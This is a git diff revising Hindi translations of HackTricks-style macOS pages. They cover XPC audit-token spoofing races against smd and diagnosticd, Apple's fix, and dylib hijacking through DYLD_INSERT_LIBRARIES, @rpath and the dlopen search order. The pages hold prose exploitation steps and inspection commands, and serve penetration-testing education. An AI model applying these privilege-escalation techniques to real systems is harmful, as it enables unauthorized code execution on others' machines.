प्रतिक्रियाएँ `smd` पर पुनः मार्गित की जाती हैं। `smd` के लिए, ऐसा प्रतीत होता है कि उपयोगकर्ता और `diagnosticd` दोनों से संदेश एक ही कनेक्शन से उत्पन्न हो रहे हैं। -![Image depicting the exploit process](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png) +![शोषण प्रक्रिया का चित्रण करने वाली छवि](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png) 4. अगला कदम `diagnosticd` को एक चुनी हुई प्रक्रिया (संभवतः उपयोगकर्ता की अपनी) की निगरानी शुरू करने के लिए निर्देशित करना है। साथ ही, `smd` को नियमित 1004 संदेशों की बाढ़ भेजी जाती है। यहाँ उद्देश्य एक उच्च विशेषाधिकार के साथ एक टूल स्थापित करना है। -5. यह क्रिया `handle_bless` फ़ंक्शन के भीतर एक रेस कंडीशन को ट्रिगर करती है। समय महत्वपूर्ण है: `xpc_connection_get_pid` फ़ंक्शन कॉल को उपयोगकर्ता की प्रक्रिया का PID लौटाना चाहिए (क्योंकि विशेषाधिकार प्राप्त टूल उपयोगकर्ता के ऐप बंडल में स्थित है)। हालाँकि, `xpc_connection_get_audit_token` फ़ंक्शन, विशेष रूप से `connection_is_authorized` उपरूटीन के भीतर, को `diagnosticd` से संबंधित ऑडिट टोकन का संदर्भ देना चाहिए। +5. यह क्रिया `handle_bless` फ़ंक्शन के भीतर एक रेस कंडीशन को ट्रिगर करती है। समय महत्वपूर्ण है: `xpc_connection_get_pid` फ़ंक्शन कॉल को उपयोगकर्ता की प्रक्रिया का PID लौटाना चाहिए (क्योंकि विशेषाधिकार प्राप्त टूल उपयोगकर्ता के ऐप बंडल में स्थित है)। हालाँकि, `xpc_connection_get_audit_token` फ़ंक्शन, विशेष रूप से `connection_is_authorized` उपरूटीन के भीतर, को `diagnosticd` के ऑडिट टोकन का संदर्भ देना चाहिए। ## Variant 2: reply forwarding @@ -86,19 +88,19 @@ Mach संदेश एक _mach port_ के माध्यम से भे 1. **`xpc_connection_send_message_with_reply`**: यहाँ, XPC संदेश को एक निर्दिष्ट कतार पर प्राप्त और संसाधित किया जाता है। 2. **`xpc_connection_send_message_with_reply_sync`**: इसके विपरीत, इस विधि में, XPC संदेश को वर्तमान डिस्पैच कतार पर प्राप्त और संसाधित किया जाता है। -यह भेद महत्वपूर्ण है क्योंकि यह **प्रतिक्रिया पैकेटों के XPC इवेंट हैंडलर के निष्पादन के साथ समवर्ती रूप से पार्स होने की संभावना** की अनुमति देता है। विशेष रूप से, जबकि `_xpc_connection_set_creds` आंशिक रूप से ऑडिट टोकन के अधिलेखन से बचाने के लिए लॉकिंग लागू करता है, यह पूरे कनेक्शन ऑब्जेक्ट के लिए इस सुरक्षा को नहीं बढ़ाता है। परिणामस्वरूप, यह एक कमजोर स्थिति उत्पन्न करता है जहाँ ऑडिट टोकन को एक पैकेट के पार्सिंग और इसके इवेंट हैंडलर के निष्पादन के बीच के अंतराल के दौरान प्रतिस्थापित किया जा सकता है। +यह भिन्नता महत्वपूर्ण है क्योंकि यह **प्रतिक्रिया पैकेटों के XPC इवेंट हैंडलर के निष्पादन के साथ समवर्ती रूप से पार्स होने की संभावना** की अनुमति देती है। विशेष रूप से, जबकि `_xpc_connection_set_creds` आंशिक रूप से ऑडिट टोकन के अधिलेखित होने से बचाने के लिए लॉकिंग लागू करता है, यह पूरे कनेक्शन ऑब्जेक्ट पर इस सुरक्षा को नहीं बढ़ाता है। परिणामस्वरूप, यह एक भेद्यता उत्पन्न करता है जहाँ ऑडिट टोकन को एक पैकेट के पार्सिंग और इसके इवेंट हैंडलर के निष्पादन के बीच के अंतराल के दौरान प्रतिस्थापित किया जा सकता है। -इस कमजोर स्थिति का शोषण करने के लिए, निम्नलिखित सेटअप की आवश्यकता है: +इस भेद्यता का शोषण करने के लिए, निम्नलिखित सेटअप की आवश्यकता है: -- दो mach सेवाएँ, जिन्हें **`A`** और **`B`** कहा जाता है, जिनसे दोनों कनेक्शन स्थापित कर सकते हैं। -- सेवा **`A`** को एक विशिष्ट क्रिया के लिए एक प्राधिकरण जांच शामिल करनी चाहिए जिसे केवल **`B`** कर सकता है (उपयोगकर्ता का ऐप नहीं)। +- दो mach सेवाएँ, जिन्हें **`A`** और **`B`** कहा जाता है, जिनसे कनेक्शन स्थापित किया जा सकता है। +- सेवा **`A`** को एक विशिष्ट क्रिया के लिए एक प्राधिकरण जांच शामिल करनी चाहिए जिसे केवल **`B`** कर सकता है (उपयोगकर्ता का ऐप नहीं कर सकता)। - सेवा **`A`** को एक संदेश भेजना चाहिए जो एक प्रतिक्रिया की अपेक्षा करता है। - उपयोगकर्ता **`B`** को एक संदेश भेज सकता है जिसका वह उत्तर देगा। शोषण प्रक्रिया में निम्नलिखित चरण शामिल हैं: 1. सेवा **`A`** के एक संदेश का इंतजार करें जो एक प्रतिक्रिया की अपेक्षा करता है। -2. **`A`** को सीधे प्रतिक्रिया देने के बजाय, प्रतिक्रिया पोर्ट को हाईजैक किया जाता है और सेवा **`B`** को एक संदेश भेजने के लिए उपयोग किया जाता है। +2. सीधे **`A`** को प्रतिक्रिया देने के बजाय, प्रतिक्रिया पोर्ट को हाईजैक किया जाता है और सेवा **`B`** को एक संदेश भेजने के लिए उपयोग किया जाता है। 3. इसके बाद, एक संदेश जो निषिद्ध क्रिया से संबंधित है, भेजा जाता है, यह अपेक्षा करते हुए कि इसे **`B`** से प्रतिक्रिया के साथ समवर्ती रूप से संसाधित किया जाएगा। नीचे वर्णित हमले के परिदृश्य का एक दृश्य प्रतिनिधित्व है: @@ -109,14 +111,14 @@ Mach संदेश एक _mach port_ के माध्यम से भे ## Discovery Problems -- **उदाहरणों को खोजने में कठिनाइयाँ**: `xpc_connection_get_audit_token` के उपयोग के उदाहरणों को खोजने में चुनौती थी, दोनों स्थैतिक और गतिशील रूप से। +- **उदाहरणों को खोजने में कठिनाइयाँ**: `xpc_connection_get_audit_token` के उपयोग के उदाहरणों को खोजने में कठिनाई हुई, दोनों स्थैतिक और गतिशील रूप से। - **पद्धति**: Frida का उपयोग `xpc_connection_get_audit_token` फ़ंक्शन को हुक करने के लिए किया गया, जो इवेंट हैंडलरों से उत्पन्न नहीं होने वाले कॉल को फ़िल्टर करता है। हालाँकि, यह विधि हुक की गई प्रक्रिया तक सीमित थी और सक्रिय उपयोग की आवश्यकता थी। -- **विश्लेषण उपकरण**: पहुँच योग्य mach सेवाओं की जांच के लिए IDA/Ghidra जैसे उपकरणों का उपयोग किया गया, लेकिन यह प्रक्रिया समय लेने वाली थी, जो dyld साझा कैश से संबंधित कॉल के कारण जटिल थी। +- **विश्लेषण उपकरण**: IDA/Ghidra जैसे उपकरणों का उपयोग पहुंच योग्य mach सेवाओं की जांच के लिए किया गया, लेकिन यह प्रक्रिया समय लेने वाली थी, जो dyld साझा कैश से संबंधित कॉल के कारण जटिल हो गई। - **स्क्रिप्टिंग सीमाएँ**: `dispatch_async` ब्लॉकों से `xpc_connection_get_audit_token` के लिए कॉल के विश्लेषण के लिए स्क्रिप्टिंग करने के प्रयासों को ब्लॉकों के पार्सिंग और dyld साझा कैश के साथ इंटरैक्शन में जटिलताओं के कारण बाधित किया गया। ## The fix -- **रिपोर्ट की गई समस्याएँ**: Apple को `smd` के भीतर पाए गए सामान्य और विशिष्ट मुद्दों का विवरण देने वाली एक रिपोर्ट प्रस्तुत की गई। +- **रिपोर्ट की गई समस्याएँ**: `smd` के भीतर पाए गए सामान्य और विशिष्ट मुद्दों का विवरण देते हुए Apple को एक रिपोर्ट प्रस्तुत की गई। - **Apple की प्रतिक्रिया**: Apple ने `smd` में समस्या को संबोधित किया, `xpc_connection_get_audit_token` को `xpc_dictionary_get_audit_token` से प्रतिस्थापित किया। - **फिक्स की प्रकृति**: `xpc_dictionary_get_audit_token` फ़ंक्शन को सुरक्षित माना जाता है क्योंकि यह प्राप्त XPC संदेश से जुड़े mach संदेश से सीधे ऑडिट टोकन प्राप्त करता है। हालाँकि, यह सार्वजनिक API का हिस्सा नहीं है, जैसे `xpc_connection_get_audit_token`। - **व्यापक फिक्स की अनुपस्थिति**: यह स्पष्ट नहीं है कि Apple ने कनेक्शन के सहेजे गए ऑडिट टोकन के साथ मेल न खाने वाले संदेशों को अस्वीकार करने जैसे अधिक व्यापक फिक्स को लागू क्यों नहीं किया। कुछ परिदृश्यों (जैसे, `setuid` का उपयोग) में वैध ऑडिट टोकन परिवर्तनों की संभावना एक कारक हो सकती है। diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md index a2180615c..674eec09a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md @@ -3,12 +3,13 @@ {{#include ../../../../banners/hacktricks-training.md}} > [!CAUTION] -> **dyld का कोड ओपन सोर्स है** और [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) पर पाया जा सकता है और इसे **URL जैसे** [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) का उपयोग करके एक tar के रूप में डाउनलोड किया जा सकता है। +> **dyld का कोड ओपन सोर्स है** और [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) पर पाया जा सकता है और इसे **URL जैसे** [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) का उपयोग करके डाउनलोड किया जा सकता है। ## **Dyld Process** देखें कि Dyld बाइनरी के अंदर लाइब्रेरी कैसे लोड करता है: + {{#ref}} macos-dyld-process.md {{#endref}} @@ -19,8 +20,8 @@ macos-dyld-process.md यह तकनीक **ASEP तकनीक के रूप में भी उपयोग की जा सकती है** क्योंकि हर स्थापित एप्लिकेशन में "Info.plist" नामक एक plist होती है जो एक कुंजी `LSEnvironmental` का उपयोग करके **पर्यावरणीय चर असाइन करने** की अनुमति देती है। -> [!NOTE] -> 2012 से **Apple ने `DYLD_INSERT_LIBRARIES`** की **शक्ति को काफी कम कर दिया है**। +> [!TIP] +> 2012 से **Apple ने `DYLD_INSERT_LIBRARIES` की शक्ति को काफी कम कर दिया है**। > > कोड पर जाएं और **`src/dyld.cpp`** की जांच करें। फ़ंक्शन **`pruneEnvironmentVariables`** में आप देख सकते हैं कि **`DYLD_*`** चर हटा दिए गए हैं। > @@ -28,10 +29,10 @@ macos-dyld-process.md > > - बाइनरी `setuid/setgid` है > - macho बाइनरी में `__RESTRICT/__restrict` अनुभाग का अस्तित्व। -> - सॉफ़्टवेयर में अधिकार हैं (हर्डनड रनटाइम) बिना [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables) अधिकार के -> - बाइनरी के **अधिकार** की जांच करें: `codesign -dv --entitlements :- ` +> - सॉफ़्टवेयर में अधिकार हैं (हर्डनड रनटाइम) बिना [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables) अधिकार के। +> - बाइनरी के **अधिकार** की जांच करें: `codesign -dv --entitlements :- ` > -> अधिक अपडेटेड संस्करणों में आप इस तर्क को फ़ंक्शन **`configureProcessRestrictions`** के दूसरे भाग में पा सकते हैं। हालाँकि, जो नए संस्करणों में निष्पादित होता है वह फ़ंक्शन के **शुरुआती जांच** हैं (आप iOS या सिमुलेशन से संबंधित ifs को हटा सकते हैं क्योंकि वे macOS में उपयोग नहीं किए जाएंगे)। +> अधिक अपडेटेड संस्करणों में आप इस लॉजिक को फ़ंक्शन **`configureProcessRestrictions`** के दूसरे भाग में पा सकते हैं। हालाँकि, जो नए संस्करणों में निष्पादित होता है वह फ़ंक्शन के **शुरुआती चेक** हैं (आप iOS या सिमुलेशन से संबंधित ifs को हटा सकते हैं क्योंकि वे macOS में उपयोग नहीं किए जाएंगे)। ### लाइब्रेरी मान्यता @@ -44,12 +45,13 @@ macos-dyld-process.md या बाइनरी में **हर्डनड रनटाइम फ्लैग** या **लाइब्रेरी मान्यता फ्लैग** **नहीं होना चाहिए**। -आप यह जांच सकते हैं कि क्या बाइनरी में **हर्डनड रनटाइम** है: `codesign --display --verbose ` **`CodeDirectory`** में फ्लैग रनटाइम की जांच करते हुए जैसे: **`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`** +आप यह जांच सकते हैं कि क्या बाइनरी में **हर्डनड रनटाइम** है: `codesign --display --verbose ` **`CodeDirectory`** में फ्लैग रनटाइम की जांच करते हुए जैसे: **`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**। आप एक लाइब्रेरी को भी लोड कर सकते हैं यदि यह **बाइनरी के समान प्रमाणपत्र से हस्ताक्षरित है**। इसका (दुरुपयोग) करने का एक उदाहरण खोजें और प्रतिबंधों की जांच करें: + {{#ref}} macos-dyld-hijacking-and-dyld_insert_libraries.md {{#endref}} @@ -59,10 +61,10 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md > [!CAUTION] > याद रखें कि **पिछले लाइब्रेरी मान्यता प्रतिबंध भी लागू होते हैं** Dylib हाइजैकिंग हमलों को करने के लिए। -Windows की तरह, MacOS में आप भी **dylibs को हाइजैक** कर सकते हैं ताकि **एप्लिकेशन** **मनमाने** **कोड** को **निष्पादित** कर सकें (ठीक है, वास्तव में एक सामान्य उपयोगकर्ता के लिए यह संभव नहीं हो सकता क्योंकि आपको एक `.app` बंडल के अंदर लिखने के लिए TCC अनुमति की आवश्यकता हो सकती है और एक लाइब्रेरी को हाइजैक करना)।\ -हालांकि, **MacOS** एप्लिकेशन **लाइब्रेरी** को लोड करने का तरीका **Windows की तुलना में अधिक प्रतिबंधित** है। इसका मतलब है कि **मैलवेयर** डेवलपर्स अभी भी **स्टेल्थ** के लिए इस तकनीक का उपयोग कर सकते हैं, लेकिन **अधिकारों को बढ़ाने के लिए इसका दुरुपयोग करने की संभावना बहुत कम है**। +Windows की तरह, MacOS में आप भी **dylibs को हाइजैक** कर सकते हैं ताकि **एप्लिकेशन** **मनमाने** **कोड** को **निष्पादित** कर सकें (ठीक है, वास्तव में एक सामान्य उपयोगकर्ता के लिए यह संभव नहीं हो सकता क्योंकि आपको एक TCC अनुमति की आवश्यकता हो सकती है ताकि आप एक `.app` बंडल के अंदर लिख सकें और एक लाइब्रेरी को हाइजैक कर सकें)।\ +हालांकि, **MacOS** एप्लिकेशन **लाइब्रेरी** को लोड करने का तरीका **Windows की तुलना में अधिक प्रतिबंधित** है। इसका मतलब है कि **मैलवेयर** डेवलपर्स अभी भी **गुप्तता** के लिए इस तकनीक का उपयोग कर सकते हैं, लेकिन **अधिकारों को बढ़ाने के लिए इसका दुरुपयोग करने की संभावना बहुत कम है**। -सबसे पहले, यह **अधिक सामान्य** है कि **MacOS बाइनरी लाइब्रेरी को लोड करने के लिए पूर्ण पथ** को इंगित करती हैं। और दूसरा, **MacOS कभी भी लाइब्रेरी के लिए **$PATH** के फ़ोल्डरों में खोज नहीं करता है। +सबसे पहले, **MacOS बाइनरी में लाइब्रेरी को लोड करने के लिए पूर्ण पथ** इंगित करना **अधिक सामान्य** है। और दूसरा, **MacOS कभी भी लाइब्रेरी के लिए **$PATH** के फ़ोल्डरों में खोज नहीं करता है। इस कार्यक्षमता से संबंधित **कोड** का **मुख्य** भाग **`ImageLoader::recursiveLoadLibraries`** में है `ImageLoader.cpp`। @@ -73,9 +75,9 @@ Windows की तरह, MacOS में आप भी **dylibs को हा - **`LC_REEXPORT_DYLIB`** कमांड यह प्रतीक को एक अलग लाइब्रेरी से प्रॉक्सी (या फिर से निर्यात) करता है। - **`LC_LOAD_UPWARD_DYLIB`** कमांड का उपयोग तब किया जाता है जब दो लाइब्रेरी एक-दूसरे पर निर्भर करती हैं (इसे _upward dependency_ कहा जाता है)। -हालांकि, **dylib हाइजैकिंग** के **2 प्रकार** हैं: +हालांकि, **dylib हाइजैकिंग के 2 प्रकार** हैं: -- **गायब कमजोर लिंक की गई लाइब्रेरी**: इसका मतलब है कि एप्लिकेशन एक लाइब्रेरी लोड करने की कोशिश करेगा जो **LC_LOAD_WEAK_DYLIB** के साथ कॉन्फ़िगर की गई नहीं है। फिर, **यदि एक हमलावर एक dylib को उस स्थान पर रखता है जहां इसे लोड करने की उम्मीद है**। +- **गायब कमजोर लिंक की गई लाइब्रेरी**: इसका मतलब है कि एप्लिकेशन एक लाइब्रेरी लोड करने की कोशिश करेगा जो **LC_LOAD_WEAK_DYLIB** के साथ कॉन्फ़िगर की गई नहीं है। फिर, **यदि एक हमलावर एक dylib को उस स्थान पर रखता है जहां इसे लोड किया जाना चाहिए**। - लिंक "कमजोर" होने का मतलब है कि एप्लिकेशन तब भी चलना जारी रखेगा जब लाइब्रेरी नहीं पाई जाती। - इस से संबंधित **कोड** `ImageLoaderMachO::doGetDependentLibraries` फ़ंक्शन में है `ImageLoaderMachO.cpp` जहां `lib->required` केवल तब `false` है जब `LC_LOAD_WEAK_DYLIB` सत्य है। - बाइनरी में **कमजोर लिंक की गई लाइब्रेरी** खोजें (आपके पास बाद में हाइजैकिंग लाइब्रेरी बनाने का एक उदाहरण है): @@ -90,24 +92,25 @@ compatibility version 1.0.0 - **@rpath के साथ कॉन्फ़िगर किया गया**: Mach-O बाइनरी में **`LC_RPATH`** और **`LC_LOAD_DYLIB`** कमांड हो सकते हैं। उन कमांड के **मानों** के आधार पर, **लाइब्रेरी** **विभिन्न निर्देशिकाओं** से **लोड** की जाएगी। - **`LC_RPATH`** में कुछ फ़ोल्डरों के पथ होते हैं जो बाइनरी द्वारा लाइब्रेरी लोड करने के लिए उपयोग किए जाते हैं। - **`LC_LOAD_DYLIB`** में लोड करने के लिए विशिष्ट लाइब्रेरी का पथ होता है। ये पथ **`@rpath`** को शामिल कर सकते हैं, जिसे **`LC_RPATH`** में मानों द्वारा **बदल दिया जाएगा**। यदि **`LC_RPATH`** में कई पथ हैं, तो सभी का उपयोग लाइब्रेरी को लोड करने के लिए किया जाएगा। उदाहरण: -- यदि **`LC_LOAD_DYLIB`** में `@rpath/library.dylib` है और **`LC_RPATH`** में `/application/app.app/Contents/Framework/v1/` और `/application/app.app/Contents/Framework/v2/` है। दोनों फ़ोल्डर `library.dylib` को लोड करने के लिए उपयोग किए जाएंगे। यदि लाइब्रेरी `[...]/v1/` में मौजूद नहीं है और हमलावर इसे वहां रख सकता है ताकि `[...]/v2/` में लाइब्रेरी के लोड को हाइजैक किया जा सके क्योंकि **`LC_LOAD_DYLIB`** में पथों का क्रम का पालन किया जाता है। +- यदि **`LC_LOAD_DYLIB`** में `@rpath/library.dylib` है और **`LC_RPATH`** में `/application/app.app/Contents/Framework/v1/` और `/application/app.app/Contents/Framework/v2/` है। दोनों फ़ोल्डर `library.dylib` को लोड करने के लिए उपयोग किए जाएंगे। यदि लाइब्रेरी `[...]/v1/` में मौजूद नहीं है और हमलावर इसे वहां रख सकता है ताकि `[...]/v2/` में लाइब्रेरी के लोड को हाइजैक किया जा सके क्योंकि **`LC_LOAD_DYLIB`** में पथों का क्रम अनुसरण किया जाता है। - बाइनरी में **rpath पथ और लाइब्रेरी** खोजें: `otool -l | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5` > [!NOTE] > **`@executable_path`**: यह **मुख्य निष्पादन फ़ाइल** को समाहित करने वाले **निर्देशिका** का **पथ** है। > -> **`@loader_path`**: यह **लोड कमांड** को समाहित करने वाले **Mach-O बाइनरी** के **निर्देशिका** का **पथ** है। +> **`@loader_path`**: यह **लोड कमांड** को समाहित करने वाले **Mach-O बाइनरी** को समाहित करने वाले **निर्देशिका** का **पथ** है। > > - जब एक निष्पादन योग्य में उपयोग किया जाता है, तो **`@loader_path`** प्रभावी रूप से **`@executable_path`** के समान है। > - जब एक **dylib** में उपयोग किया जाता है, तो **`@loader_path`** **dylib** का **पथ** देता है। -इस कार्यक्षमता का दुरुपयोग करके **अधिकारों को बढ़ाने** का तरीका दुर्लभ मामले में होगा जब एक **एप्लिकेशन** जो **रूट** द्वारा **निष्पादित** किया जा रहा है, किसी **निर्देशिका में किसी लाइब्रेरी की तलाश कर रहा है जहां हमलावर के पास लिखने की अनुमति है।** +इस कार्यक्षमता का **दुरुपयोग करके अधिकारों को बढ़ाने** का तरीका दुर्लभ मामले में होगा जब एक **एप्लिकेशन** जो **रूट** द्वारा **निष्पादित** किया जा रहा है, किसी **निर्देशिका में किसी लाइब्रेरी की तलाश कर रहा है जहां हमलावर के पास लिखने की अनुमति है।** > [!TIP] -> अनुप्रयोगों में **गायब लाइब्रेरी** खोजने के लिए एक अच्छा **स्कैनर** [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) या [**CLI संस्करण**](https://github.com/pandazheng/DylibHijack) है।\ +> अनुप्रयोगों में **गायब लाइब्रेरी** खोजने के लिए एक अच्छा **स्कैनर** है [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) या एक [**CLI संस्करण**](https://github.com/pandazheng/DylibHijack).\ > इस तकनीक के बारे में **तकनीकी विवरण** के साथ एक अच्छा **रिपोर्ट** [**यहां**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x) पाया जा सकता है। **उदाहरण** + {{#ref}} macos-dyld-hijacking-and-dyld_insert_libraries.md {{#endref}} @@ -119,52 +122,52 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md **`man dlopen`** से: -- जब पथ **स्लैश वर्ण** को शामिल नहीं करता है (यानी यह केवल एक पत्ते का नाम है), **dlopen() खोज करेगा**। यदि **`$DYLD_LIBRARY_PATH`** लॉन्च पर सेट किया गया था, तो dyld पहले **उस निर्देशिका में देखेगा**। अगला, यदि कॉलिंग mach-o फ़ाइल या मुख्य निष्पादन फ़ाइल **`LC_RPATH`** निर्दिष्ट करती है, तो dyld **उन** निर्देशिकाओं में देखेगा। अगला, यदि प्रक्रिया **अप्रतिबंधित** है, तो dyld **वर्तमान कार्यशील निर्देशिका** में खोज करेगा। अंत में, पुराने बाइनरी के लिए, dyld कुछ फॉलबैक का प्रयास करेगा। यदि **`$DYLD_FALLBACK_LIBRARY_PATH`** लॉन्च पर सेट किया गया था, तो dyld उन निर्देशिकाओं में खोज करेगा, अन्यथा, dyld **`/usr/local/lib/`** में देखेगा (यदि प्रक्रिया अप्रतिबंधित है), और फिर **`/usr/lib/`** में (यह जानकारी **`man dlopen`** से ली गई थी)। +- जब पथ **स्लैश वर्ण** को शामिल नहीं करता है (यानी यह केवल एक पत्ते का नाम है), **dlopen() खोज करेगा**। यदि **`$DYLD_LIBRARY_PATH`** लॉन्च पर सेट किया गया था, तो dyld पहले उस निर्देशिका में **देखेगा**। अगला, यदि कॉलिंग mach-o फ़ाइल या मुख्य निष्पादन फ़ाइल **`LC_RPATH`** निर्दिष्ट करती है, तो dyld उन निर्देशिकाओं में **देखेगा**। अगला, यदि प्रक्रिया **अनियंत्रित** है, तो dyld **वर्तमान कार्यशील निर्देशिका** में खोज करेगा। अंत में, पुराने बाइनरी के लिए, dyld कुछ फॉलबैक का प्रयास करेगा। यदि **`$DYLD_FALLBACK_LIBRARY_PATH`** लॉन्च पर सेट किया गया था, तो dyld उन निर्देशिकाओं में खोज करेगा, अन्यथा, dyld **`/usr/local/lib/`** में देखेगा (यदि प्रक्रिया अनियंत्रित है), और फिर **`/usr/lib/`** में (यह जानकारी **`man dlopen`** से ली गई थी)। 1. `$DYLD_LIBRARY_PATH` 2. `LC_RPATH` -3. `CWD`(यदि अप्रतिबंधित) +3. `CWD`(यदि अनियंत्रित) 4. `$DYLD_FALLBACK_LIBRARY_PATH` -5. `/usr/local/lib/` (यदि अप्रतिबंधित) +5. `/usr/local/lib/` (यदि अनियंत्रित) 6. `/usr/lib/` > [!CAUTION] > यदि नाम में कोई स्लैश नहीं है, तो हाइजैकिंग करने के लिए 2 तरीके होंगे: > -> - यदि कोई **`LC_RPATH`** **लिखने योग्य** है (लेकिन हस्ताक्षर की जांच की जाती है, इसलिए इसके लिए आपको बाइनरी को भी अप्रतिबंधित होना चाहिए) -> - यदि बाइनरी **अप्रतिबंधित** है और फिर CWD से कुछ लोड करना संभव है (या उल्लेखित env चर में से एक का दुरुपयोग करना) +> - यदि कोई **`LC_RPATH`** **लिखने योग्य** है (लेकिन हस्ताक्षर की जांच की जाती है, इसलिए इसके लिए आपको बाइनरी को अनियंत्रित भी होना चाहिए) +> - यदि बाइनरी **अनियंत्रित** है और फिर CWD से कुछ लोड करना संभव है (या उल्लेखित env चर में से एक का दुरुपयोग करना) -- जब पथ **फ्रेमवर्क** पथ की तरह दिखता है (जैसे `/stuff/foo.framework/foo`), यदि **`$DYLD_FRAMEWORK_PATH`** लॉन्च पर सेट किया गया था, तो dyld पहले उस निर्देशिका में **फ्रेमवर्क आंशिक पथ** (जैसे `foo.framework/foo`) के लिए देखेगा। अगला, dyld **प्रदान किए गए पथ को जैसा है** (सापेक्ष पथों के लिए वर्तमान कार्यशील निर्देशिका का उपयोग करते हुए) का प्रयास करेगा। अंत में, पुराने बाइनरी के लिए, dyld कुछ फॉलबैक का प्रयास करेगा। यदि **`$DYLD_FALLBACK_FRAMEWORK_PATH`** लॉन्च पर सेट किया गया था, तो dyld उन निर्देशिकाओं में खोज करेगा। अन्यथा, यह **`/Library/Frameworks`** (macOS पर यदि प्रक्रिया अप्रतिबंधित है), फिर **`/System/Library/Frameworks`** में खोज करेगा। +- जब पथ **फ्रेमवर्क** पथ की तरह दिखता है (जैसे `/stuff/foo.framework/foo`), यदि **`$DYLD_FRAMEWORK_PATH`** लॉन्च पर सेट किया गया था, तो dyld पहले उस निर्देशिका में **फ्रेमवर्क आंशिक पथ** (जैसे `foo.framework/foo`) के लिए देखेगा। अगला, dyld **प्रदत्त पथ को जैसा है वैसा** (सापेक्ष पथों के लिए वर्तमान कार्यशील निर्देशिका का उपयोग करते हुए) आजमाएगा। अंत में, पुराने बाइनरी के लिए, dyld कुछ फॉलबैक का प्रयास करेगा। यदि **`$DYLD_FALLBACK_FRAMEWORK_PATH`** लॉन्च पर सेट किया गया था, तो dyld उन निर्देशिकाओं में खोज करेगा। अन्यथा, यह **`/Library/Frameworks`** (macOS पर यदि प्रक्रिया अनियंत्रित है), फिर **`/System/Library/Frameworks`** में खोज करेगा। 1. `$DYLD_FRAMEWORK_PATH` -2. प्रदान किया गया पथ (यदि अप्रतिबंधित है तो सापेक्ष पथों के लिए वर्तमान कार्यशील निर्देशिका का उपयोग करना) +2. प्रदत्त पथ (यदि अनियंत्रित है तो सापेक्ष पथों के लिए वर्तमान कार्यशील निर्देशिका का उपयोग करते हुए) 3. `$DYLD_FALLBACK_FRAMEWORK_PATH` -4. `/Library/Frameworks` (यदि अप्रतिबंधित) +4. `/Library/Frameworks` (यदि अनियंत्रित) 5. `/System/Library/Frameworks` > [!CAUTION] > यदि एक फ्रेमवर्क पथ है, तो इसे हाइजैक करने का तरीका होगा: > -> - यदि प्रक्रिया **अप्रतिबंधित** है, तो CWD से **सापेक्ष पथ** का दुरुपयोग करते हुए उल्लेखित env चर (यहां तक कि यदि यह दस्तावेज़ में नहीं कहा गया है यदि प्रक्रिया प्रतिबंधित है तो DYLD\_\* env vars हटा दिए जाते हैं) +> - यदि प्रक्रिया **अनियंत्रित** है, तो CWD से **सापेक्ष पथ** का दुरुपयोग करते हुए उल्लेखित env चर (यहां तक कि यदि यह दस्तावेज़ में नहीं कहा गया है कि यदि प्रक्रिया प्रतिबंधित है तो DYLD\_\* env vars हटा दिए जाते हैं) -- जब पथ **स्लैश को शामिल करता है लेकिन फ्रेमवर्क पथ नहीं है** (यानी एक पूर्ण पथ या dylib के लिए आंशिक पथ), dlopen() पहले (यदि सेट है) **`$DYLD_LIBRARY_PATH`** में देखता है (पथ से पत्ते का भाग)। अगला, dyld **प्रदान किए गए पथ** का प्रयास करता है (सापेक्ष पथों के लिए वर्तमान कार्यशील निर्देशिका का उपयोग करते हुए (लेकिन केवल अप्रतिबंधित प्रक्रियाओं के लिए))। अंत में, पुराने बाइनरी के लिए, dyld फॉलबैक का प्रयास करेगा। यदि **`$DYLD_FALLBACK_LIBRARY_PATH`** लॉन्च पर सेट किया गया था, तो dyld उन निर्देशिकाओं में खोज करेगा, अन्यथा, dyld **`/usr/local/lib/`** में देखेगा (यदि प्रक्रिया अप्रतिबंधित है), और फिर **`/usr/lib/`** में। +- जब पथ **स्लैश को शामिल करता है लेकिन फ्रेमवर्क पथ नहीं है** (यानी एक पूर्ण पथ या dylib के लिए आंशिक पथ), dlopen() पहले (यदि सेट है) **`$DYLD_LIBRARY_PATH`** में देखता है (पथ के पत्ते भाग के साथ)। अगला, dyld **प्रदत्त पथ** को आजमाता है (सापेक्ष पथों के लिए वर्तमान कार्यशील निर्देशिका का उपयोग करते हुए (लेकिन केवल अनियंत्रित प्रक्रियाओं के लिए))। अंत में, पुराने बाइनरी के लिए, dyld फॉलबैक का प्रयास करेगा। यदि **`$DYLD_FALLBACK_LIBRARY_PATH`** लॉन्च पर सेट किया गया था, तो dyld उन निर्देशिकाओं में खोज करेगा, अन्यथा, dyld **`/usr/local/lib/`** में देखेगा (यदि प्रक्रिया अनियंत्रित है), और फिर **`/usr/lib/`** में। 1. `$DYLD_LIBRARY_PATH` -2. प्रदान किया गया पथ (यदि अप्रतिबंधित है तो सापेक्ष पथों के लिए वर्तमान कार्यशील निर्देशिका का उपयोग करना) +2. प्रदत्त पथ (यदि 